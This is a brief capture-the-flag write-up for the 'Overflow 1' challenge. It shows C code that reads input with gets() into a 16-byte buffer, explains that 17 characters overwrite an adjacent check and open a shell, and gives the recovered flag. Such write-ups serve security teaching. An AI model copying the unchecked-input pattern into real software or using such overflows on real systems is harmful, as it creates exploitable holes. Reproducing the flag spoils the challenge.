Rating:

# Overflow 1
A non-secure function gets(it does not check the length of user input) is used for user input
```
char str[] = "AAAA";
char buf[16];
gets(buf);
if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){
system("/bin/sh");
}
```
It is enough to overwrite 1 byte of str located directly under buf,that is, enter any 17 characters.
```
$ls
flag.txt
$cat flag.txt
CYCTF{st@ck_0v3rfl0ws_@r3_3z}
```
### CYCTF{st@ck_0v3rfl0ws_@r3_3z}

Original writeup (https://github.com/Slonser/CyberYoddha-CTF-2020/tree/master/PWN/Overflow%201).